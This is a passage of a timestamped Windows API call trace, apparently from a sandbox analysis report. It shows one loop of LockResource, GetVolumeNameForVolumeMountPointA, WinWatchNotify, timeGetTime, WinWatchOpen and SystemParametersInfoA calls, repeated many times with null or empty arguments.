LockResource (hResData=0x0) returned 0x0 [0140.580] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.580] WinWatchNotify () returned 0x0 [0140.580] timeGetTime () returned 0x113861a [0140.580] WinWatchOpen () returned 0x2aa798 [0140.580] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.580] LockResource (hResData=0x0) returned 0x0 [0140.580] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.580] WinWatchNotify () returned 0x0 [0140.580] timeGetTime () returned 0x113861a [0140.580] WinWatchOpen () returned 0x2aa7b8 [0140.580] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.580] LockResource (hResData=0x0) returned 0x0 [0140.580] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.580] WinWatchNotify () returned 0x0 [0140.580] timeGetTime () returned 0x113861a [0140.580] WinWatchOpen () returned 0x2aa7d8 [0140.580] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.580] LockResource (hResData=0x0) returned 0x0 [0140.580] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.580] WinWatchNotify () returned 0x0 [0140.580] timeGetTime () returned 0x113861a [0140.580] WinWatchOpen () returned 0x2aa7f8 [0140.580] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.580] LockResource (hResData=0x0) returned 0x0 [0140.580] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.580] WinWatchNotify () returned 0x0 [0140.580] timeGetTime () returned 0x113861a [0140.580] WinWatchOpen () returned 0x2aa818 [0140.580] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.580] LockResource (hResData=0x0) returned 0x0 [0140.580] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.580] WinWatchNotify () returned 0x0 [0140.580] timeGetTime () returned 0x113861a [0140.580] WinWatchOpen () returned 0x2aa838 [0140.580] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.580] LockResource (hResData=0x0) returned 0x0 [0140.580] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.581] WinWatchNotify () returned 0x0 [0140.581] timeGetTime () returned 0x113861b [0140.581] WinWatchOpen () returned 0x2aa858 [0140.581] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.581] LockResource (hResData=0x0) returned 0x0 [0140.581] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.581] WinWatchNotify () returned 0x0 [0140.581] timeGetTime () returned 0x113861b [0140.581] WinWatchOpen () returned 0x2aa878 [0140.581] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.581] LockResource (hResData=0x0) returned 0x0 [0140.581] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.581] WinWatchNotify () returned 0x0 [0140.581] timeGetTime () returned 0x113861b [0140.581] WinWatchOpen () returned 0x2aa898 [0140.581] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.581] LockResource (hResData=0x0) returned 0x0 [0140.581] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.581] WinWatchNotify () returned 0x0 [0140.581] timeGetTime () returned 0x113861b [0140.581] WinWatchOpen () returned 0x2aa8b8 [0140.581] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.581] LockResource (hResData=0x0) returned 0x0 [0140.581] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.581] WinWatchNotify () returned 0x0 [0140.581] timeGetTime () returned 0x113861b [0140.581] WinWatchOpen () returned 0x2aa8d8 [0140.581] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.581] LockResource (hResData=0x0) returned 0x0 [0140.581] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.581] WinWatchNotify () returned 0x0 [0140.581] timeGetTime () returned 0x113861b [0140.581] WinWatchOpen () returned 0x2aa8f8 [0140.581] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.581] LockResource (hResData=0x0) returned 0x0 [0140.581] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.581] WinWatchNotify () returned 0x0 [0140.581] timeGetTime () returned 0x113861b [0140.581] WinWatchOpen () returned 0x2aa918 [0140.581] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.581] LockResource (hResData=0x0) returned 0x0 [0140.581] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.582] WinWatchNotify () returned 0x0 [0140.582] timeGetTime () returned 0x113861c [0140.582] WinWatchOpen () returned 0x2aa938 [0140.582] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.582] LockResource (hResData=0x0) returned 0x0 [0140.582] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.582] WinWatchNotify () returned 0x0 [0140.582] timeGetTime () returned 0x113861c [0140.582] WinWatchOpen () returned 0x2aa958 [0140.582] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.582] LockResource (hResData=0x0) returned 0x0 [0140.582] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.582] WinWatchNotify () returned 0x0 [0140.582] timeGetTime () returned 0x113861c [0140.582] WinWatchOpen () returned 0x2aa978 [0140.582] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.582] LockResource (hResData=0x0) returned 0x0 [0140.582] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.582] WinWatchNotify () returned 0x0 [0140.582] timeGetTime () returned 0x113861c [0140.582] WinWatchOpen () returned 0x2aa998 [0140.582] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.582] LockResource (hResData=0x0) returned 0x0 [0140.582] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.582] WinWatchNotify () returned 0x0 [0140.582] timeGetTime () returned 0x113861c [0140.582] WinWatchOpen () returned 0x2aa9b8 [0140.582] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.582] LockResource (hResData=0x0) returned 0x0 [0140.582] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.582] WinWatchNotify () returned 0x0 [0140.582] timeGetTime () returned 0x113861c [0140.582] WinWatchOpen () returned 0x2aa9d8 [0140.582] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.582] LockResource (hResData=0x0) returned 0x0 [0140.582] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.582] WinWatchNotify () returned 0x0 [0140.582] timeGetTime () returned 0x113861c [0140.582] WinWatchOpen () returned 0x2997c0 [0140.582] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.582] LockResource (hResData=0x0) returned 0x0 [0140.582] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.583] WinWatchNotify () returned 0x0 [0140.583] timeGetTime () returned 0x113861d [0140.583] WinWatchOpen () returned 0x2997e0 [0140.583] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.583] LockResource (hResData=0x0) returned 0x0 [0140.583] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.583] WinWatchNotify () returned 0x0 [0140.583] timeGetTime () returned 0x113861d [0140.583] WinWatchOpen () returned 0x299800 [0140.583] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.583] LockResource (hResData=0x0) returned 0x0 [0140.583] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.583] WinWatchNotify () returned 0x0 [0140.583] timeGetTime () returned 0x113861d [0140.583] WinWatchOpen () returned 0x299820 [0140.583] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.583] LockResource (hResData=0x0) returned 0x0 [0140.583] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.583] WinWatchNotify () returned 0x0 [0140.583] timeGetTime () returned 0x113861d [0140.583] WinWatchOpen () returned 0x299840 [0140.583] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.583] LockResource (hResData=0x0) returned 0x0 [0140.583] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.583] WinWatchNotify () returned 0x0 [0140.583] timeGetTime () returned 0x113861d [0140.583] WinWatchOpen () returned 0x299860 [0140.583] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.583] LockResource (hResData=0x0) returned 0x0 [0140.583] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.583] WinWatchNotify () returned 0x0 [0140.583] timeGetTime () returned 0x113861d [0140.583] WinWatchOpen () returned 0x299880 [0140.583] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.583] LockResource (hResData=0x0) returned 0x0 [0140.583] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.583] WinWatchNotify () returned 0x0 [0140.583] timeGetTime () returned 0x1138666 [0140.659] WinWatchOpen () returned 0x2998a0 [0140.659] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.659] LockResource (hResData=0x0) returned 0x0 [0140.659] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.659] WinWatchNotify () returned 0x0 [0140.659] timeGetTime () returned 0x1138666 [0140.659] WinWatchOpen () returned 0x2998c0 [0140.659] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.659] LockResource (hResData=0x0) returned 0x0 [0140.659] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.659] WinWatchNotify () returned 0x0 [0140.659] timeGetTime () returned 0x1138666 [0140.659] WinWatchOpen () returned 0x2998e0 [0140.659] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.659] LockResource (hResData=0x0) returned 0x0 [0140.659] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.659] WinWatchNotify () returned 0x0 [0140.659] timeGetTime () returned 0x1138667 [0140.659] WinWatchOpen () returned 0x299900 [0140.660] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.660] LockResource (hResData=0x0) returned 0x0 [0140.660] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.660] WinWatchNotify () returned 0x0 [0140.660] timeGetTime () returned 0x1138667 [0140.660] WinWatchOpen () returned 0x299920 [0140.660] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.660] LockResource (hResData=0x0) returned 0x0 [0140.660] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.660] WinWatchNotify () returned 0x0 [0140.660] timeGetTime () returned 0x1138667 [0140.660] WinWatchOpen () returned 0x299940 [0140.660] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.660] LockResource (hResData=0x0) returned 0x0 [0140.660] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.660] WinWatchNotify () returned 0x0 [0140.660] timeGetTime () returned 0x1138667 [0140.660] WinWatchOpen () returned 0x299960 [0140.660] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.660] LockResource (hResData=0x0) returned 0x0 [0140.660] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.660] WinWatchNotify () returned 0x0 [0140.660] timeGetTime () returned 0x1138667 [0140.660] WinWatchOpen () returned 0x299980 [0140.660] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.660] LockResource (hResData=0x0) returned 0x0 [0140.660] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.660] WinWatchNotify () returned 0x0 [0140.660] timeGetTime () returned 0x1138667 [0140.660] WinWatchOpen () returned 0x2999a0 [0140.660] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.660] LockResource (hResData=0x0) returned 0x0 [0140.660] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.660] WinWatchNotify () returned 0x0 [0140.660] timeGetTime () returned 0x1138667 [0140.660] WinWatchOpen () returned 0x2999c0 [0140.660] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.660] LockResource (hResData=0x0) returned 0x0 [0140.660] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.660] WinWatchNotify () returned 0x0 [0140.660] timeGetTime () returned 0x1138668 [0140.660] WinWatchOpen () returned 0x2999e0 [0140.661] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.661] LockResource (hResData=0x0) returned 0x0 [0140.661] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.661] WinWatchNotify () returned 0x0 [0140.661] timeGetTime () returned 0x1138668 [0140.661] WinWatchOpen () returned 0x299a00 [0140.661] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.661] LockResource (hResData=0x0) returned 0x0 [0140.661] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.661] WinWatchNotify () returned 0x0 [0140.661] timeGetTime () returned 0x1138668 [0140.661] WinWatchOpen () returned 0x299a20 [0140.661] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.661] LockResource (hResData=0x0) returned 0x0 [0140.661] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.661] WinWatchNotify () returned 0x0 [0140.661] timeGetTime () returned 0x1138668 [0140.661] WinWatchOpen () returned 0x299a40 [0140.661] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.661] LockResource (hResData=0x0) returned 0x0 [0140.661] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.661] WinWatchNotify () returned 0x0 [0140.661] timeGetTime () returned 0x1138668 [0140.661] WinWatchOpen () returned 0x299a60 [0140.661] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.661] LockResource (hResData=0x0) returned 0x0 [0140.661] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.661] WinWatchNotify () returned 0x0 [0140.661] timeGetTime () returned 0x1138668 [0140.661] WinWatchOpen () returned 0x299a80 [0140.661] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.661] LockResource (hResData=0x0) returned 0x0 [0140.661] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.661] WinWatchNotify () returned 0x0 [0140.661] timeGetTime () returned 0x1138668 [0140.661] WinWatchOpen () returned 0x299aa0 [0140.661] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.661] LockResource (hResData=0x0) returned 0x0 [0140.661] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.661] WinWatchNotify () returned 0x0 [0140.662] timeGetTime () returned 0x1138669 [0140.662] WinWatchOpen () returned 0x299ac0 [0140.662] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.662] LockResource (hResData=0x0) returned 0x0 [0140.662] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.662] WinWatchNotify () returned 0x0 [0140.662] timeGetTime () returned 0x1138669 [0140.662] WinWatchOpen () returned 0x299ae0 [0140.662] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.662] LockResource (hResData=0x0) returned 0x0 [0140.662] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.662] WinWatchNotify () returned 0x0 [0140.662] timeGetTime () returned 0x1138669 [0140.662] WinWatchOpen () returned 0x299b00 [0140.662] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.662] LockResource (hResData=0x0) returned 0x0 [0140.662] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.662] WinWatchNotify () returned 0x0 [0140.662] timeGetTime () returned 0x1138669 [0140.662] WinWatchOpen () returned 0x299b20 [0140.662] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.662] LockResource (hResData=0x0) returned 0x0 [0140.662] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.662] WinWatchNotify () returned 0x0 [0140.662] timeGetTime () returned 0x1138669 [0140.662] WinWatchOpen () returned 0x299b40 [0140.662] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.662] LockResource (hResData=0x0) returned 0x0 [0140.662] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.662] WinWatchNotify () returned 0x0 [0140.662] timeGetTime () returned 0x1138669 [0140.662] WinWatchOpen () returned 0x299b60 [0140.662] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.662] LockResource (hResData=0x0) returned 0x0 [0140.662] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.662] WinWatchNotify () returned 0x0 [0140.662] timeGetTime () returned 0x1138669 [0140.662] WinWatchOpen () returned 0x299b80 [0140.662] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.662] LockResource (hResData=0x0) returned 0x0 [0140.662] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.662] WinWatchNotify () returned 0x0 [0140.663] timeGetTime () returned 0x113866a [0140.663] WinWatchOpen () returned 0x299ba0 [0140.663] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.663] LockResource (hResData=0x0) returned 0x0 [0140.663] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.663] WinWatchNotify () returned 0x0 [0140.663] timeGetTime () returned 0x113866a [0140.663] WinWatchOpen () returned 0x299bc0 [0140.663] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.663] LockResource (hResData=0x0) returned 0x0 [0140.663] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.663] WinWatchNotify () returned 0x0 [0140.663] timeGetTime () returned 0x113866a [0140.663] WinWatchOpen () returned 0x299be0 [0140.663] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.663] LockResource (hResData=0x0) returned 0x0 [0140.663] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.663] WinWatchNotify () returned 0x0 [0140.663] timeGetTime () returned 0x113866a [0140.663] WinWatchOpen () returned 0x299c00 [0140.663] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.663] LockResource (hResData=0x0) returned 0x0 [0140.663] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.663] WinWatchNotify () returned 0x0 [0140.663] timeGetTime () returned 0x113866a [0140.663] WinWatchOpen () returned 0x299c20 [0140.663] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.663] LockResource (hResData=0x0) returned 0x0 [0140.663] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.663] WinWatchNotify () returned 0x0 [0140.663] timeGetTime () returned 0x113866a [0140.663] WinWatchOpen () returned 0x299c40 [0140.663] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.663] LockResource (hResData=0x0) returned 0x0 [0140.663] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.663] WinWatchNotify () returned 0x0 [0140.663] timeGetTime () returned 0x113866b [0140.663] WinWatchOpen () returned 0x299c60 [0140.663] SystemParametersInfoA (in: 